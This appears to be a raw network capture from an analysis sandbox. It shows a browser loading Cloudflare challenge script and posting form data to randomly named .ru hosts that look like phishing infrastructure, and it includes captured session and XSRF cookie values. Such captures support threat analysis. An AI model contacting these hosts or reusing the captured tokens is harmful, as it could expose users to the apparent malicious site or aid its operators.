2025-03-20 15:55:18 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-20 15:55:18 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-03-20 15:55:18 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-20 15:55:18 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-20 15:55:18 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-20 15:55:18 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:18 UTC	549	OUT	OPTIONS /report/v4?s=ApbM6jxYe3oa4efJhudxi6FPxsCbihXPknd2RuseP07KrMZc4EwkE0IdyIkzIdNTCBXqchdwP9hc5PGf%2BccKtT5vvEqxgeHpdDA1w%2FaACwcTMsWUBS1g1e1IhbJUxmueMZmAdh%2Fz HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cdnjs.cloudflare.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:18 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 20 Mar 2025 15:55:17 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:18 UTC	524	OUT	POST /report/v4?s=ApbM6jxYe3oa4efJhudxi6FPxsCbihXPknd2RuseP07KrMZc4EwkE0IdyIkzIdNTCBXqchdwP9hc5PGf%2BccKtT5vvEqxgeHpdDA1w%2FaACwcTMsWUBS1g1e1IhbJUxmueMZmAdh%2Fz HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 447 Content-Type: application/reports+json Origin: https://cdnjs.cloudflare.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:18 UTC	447	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 32 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 62 33 72 7a 2e 35 6d 35 34 6c 71 2e 72 75 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 31 37 2e 32 35 2e 31 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 6f 6b 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 Data Ascii: [{"age":0,"body":{"elapsed_time":625,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://b3rz.5m54lq.ru/","sampling_fraction":0.01,"server_ip":"104.17.25.14","status_code":200,"type":"ok"},"type":"network-error","url":"https://c
2025-03-20 15:55:18 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 20 Mar 2025 15:55:18 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:18 UTC	635	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://b3rz.5m54lq.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:19 UTC	740	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:19 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=Bs5PMghMt9I1va9enLjOQ_Xu05QhZV2DAOmstyaswts-1742486119-1.0.1.1-ziCtFVSTFmGMXDljI1qbU_ZXog1yrREx636u5VN0Tf64bXOHMyXHC6b16rNLTV0OXuo0QCPFMcPxBsTUGRnOO_W1.nrd.S.lX0kVrb3BkoM; path=/; expires=Thu, 20-Mar-25 16:25:19 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 923664a32f934350-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:55:19 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-20 15:55:19 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:31 UTC	564	OUT	GET /bhanchod@18747jh HTTP/1.1 Host: 1deoi.pnkptj.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://b3rz.5m54lq.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://b3rz.5m54lq.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:31 UTC	281	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Access-Control-Allow-Origin: * Cf-Cache-Status: DYNAMIC CF-RAY: 923664f04bfb16f7-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:55:31 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-20 15:55:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:32 UTC	1418	OUT	POST /clYqCfSLHMMfutmJWSk5eJ6HZy8tfeJ48 HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive Content-Length: 773 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1t47Zr9UTBSOUUxk sec-ch-ua-mobile: ?0 Accept: / Origin: https://b3rz.5m54lq.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://b3rz.5m54lq.ru/A9y-e3M/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ilp0Zmk1U3BPWm10QXhoMG95eU81YXc9PSIsInZhbHVlIjoiL010OEVqam9kSWRwU21zVk5Pc1lPWnVYRHBFVEVYOTdKNlZoUHB0RVQyZ0dRN09kd1hONlcza3dqWnhvTmpIT2kxd3VkbDBrclc5RStLYngzTTN5RkV0V2NLeWNsNmNNa3huK2FLaUZUSGFlTDFDQVJpdjdVS0NJUmZuZkErbm0iLCJtYWMiOiJmZGMxZTg2Njc3ZDA4YTA1NDZkMmJmNGI3YjdiMDQyNmIyNzQ5NDQyZGY5NjRhMTE3NDYzZjU4NTM2NGZkYjk0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFiN1hBQkYxQjJ6VjVoKzZLTlJVUFE9PSIsInZhbHVlIjoibzZVUnhpZFdTT0dNcllsMUtkQm5WUnJYczB0QW0rT0wyL29EbEcwdVRwWm9KYkVzZFd1UnVGWW1BK0FaT1hUNjFBR2xLalJFNzJvU3FVckEyWGlBWllkQzZuNUdZVHJrZC93cmVpR3BURG84dE4zNUFiL0cySXFrOHdqWFFINUciLCJtYWMiOiI4YWIyODNhYjQyODlmZjJiMGRhYmNlYTA0NDU4YTNmZjlhZTQ2YjdkN2EyNGMxYzQ3MWY1NTU2MjhlNDA5YTNkIiwidGFnIjoiIn0%3D
2025-03-20 15:55:32 UTC	773	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 31 74 34 37 5a 72 39 55 54 42 53 4f 55 55 78 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 4e 5a 74 78 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 31 74 34 37 5a 72 39 55 54 42 53 4f 55 55 78 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 77 6a 79 5a 63 53 42 41 51 7a 57 76 47 32 71 47 46 6c 68 76 53 36 77 56 69 64 68 53 75 39 46 5a 50 67 4f 53 61 75 51 72 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 31 74 34 37 5a Data Ascii: ------WebKitFormBoundary1t47Zr9UTBSOUUxkContent-Disposition: form-data; name="bltpg"NZtx------WebKitFormBoundary1t47Zr9UTBSOUUxkContent-Disposition: form-data; name="sid"wjyZcSBAQzWvG2qGFlhvS6wVidhSu9FZPgOSauQr------WebKitFormBoundary1t47Z
2025-03-20 15:55:32 UTC	1174	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:32 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1oL2eO6dSBVDU2FbiKSSxqkKybjBz33BSo9rUIK3muPoKKgerCfHCaco1zsuhDpwitsGshoL7Wle7Nr98007dBuKaprl8FOjb5WphhVBVlofRv3o4MWLe2Gt5Lp5Vq3Ll8rg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4829&min_rtt=4592&rtt_var=1498&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=3099&delivery_rate=628335&cwnd=251&unsent_bytes=0&cid=969a1b906f87e4f1&ts=88&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Imd1TmdSYnB6azU2empac3VmVjFXSlE9PSIsInZhbHVlIjoibjVScHMxSml2eXpxNTFGSFBJUkJNY252eTJOZHVMSEw1cVlWMTNmVjA3YU5kQkFUUUJYVzBZV2hhQ0lvOUdFREhlK1JYd0lNS3dIWUMvNTRDcG5XZEgzZ0g2UGtGTDdKOTNnTjVCUWVSTWg1a0lQNUVPQTEzUCtTN3pFc0UwVGUiLCJtYWMiOiI1MmQ5N2ZjNzcxYWZmNjU0NWM4NTJhM2FmMjZmNjg4MWFiZDQ1ZWUxMTljN2NmYzJlY2RiY2I1MWVmZGVmOWVjIiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 17:55:32 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 15:55:32 UTC	789	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 4e 4d 4c 30 52 75 57 6c 51 32 65 46 51 72 65 55 39 74 4e 30 74 47 59 55 68 35 57 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 30 46 46 55 47 35 44 5a 47 31 4b 61 55 67 34 61 6c 56 69 5a 54 63 34 4c 32 68 45 59 31 6c 4f 51 30 77 35 4e 58 6c 4d 5a 6b 67 30 4f 45 35 61 4d 45 70 49 55 54 5a 50 51 6b 6c 56 65 47 35 6c 55 6c 6c 73 55 32 74 5a 62 47 67 7a 4d 48 59 77 4d 6e 6f 35 4f 57 49 79 53 7a 4a 34 54 33 4e 68 4e 7a 51 30 51 6b 46 50 55 6c 59 33 62 32 38 33 62 6c 64 69 63 58 42 6b 4b 32 68 45 4f 56 52 74 57 46 64 56 55 44 4e 68 4d 48 68 31 61 6c 68 51 65 6e 51 32 4b 32 35 49 57 6a 42 36 4d 6e 4a 55 51 31 59 7a 4d 45 35 53 52 79 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImNML0RuWlQ2eFQreU9tN0tGYUh5WFE9PSIsInZhbHVlIjoiS0FFUG5DZG1KaUg4alViZTc4L2hEY1lOQ0w5NXlMZkg0OE5aMEpIUTZPQklVeG5lUllsU2tZbGgzMHYwMno5OWIySzJ4T3NhNzQ0QkFPUlY3b283bldicXBkK2hEOVRtWFdVUDNhMHh1alhQenQ2K25IWjB6MnJUQ1YzME5SRys
2025-03-20 15:55:32 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-20 15:55:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:32 UTC	395	OUT	GET /bhanchod@18747jh HTTP/1.1 Host: 1deoi.pnkptj.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:33 UTC	829	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bt0lO%2FRMilQvtBmsbcOpyy%2BRBMCOMpuD3igw%2F63ElmKJFj0STAK8YTCp2PECVJQ77f4L64V4Eg66U9msiq3IaCuZjg4we6fW6XNhb%2B88%2BLER9PAA6iuM2IelnzFS42ezDBU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 923664f7eb8d58c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=102350&min_rtt=100933&rtt_var=22746&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2818&recv_bytes=967&delivery_rate=36892&cwnd=241&unsent_bytes=0&cid=7dd34002ae887c03&ts=863&x=0"
2025-03-20 15:55:33 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-20 15:55:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:32 UTC	1470	OUT	GET /A9y-e3M/ HTTP/1.1 Host: b3rz.5m54lq.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://b3rz.5m54lq.ru/A9y-e3M/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: 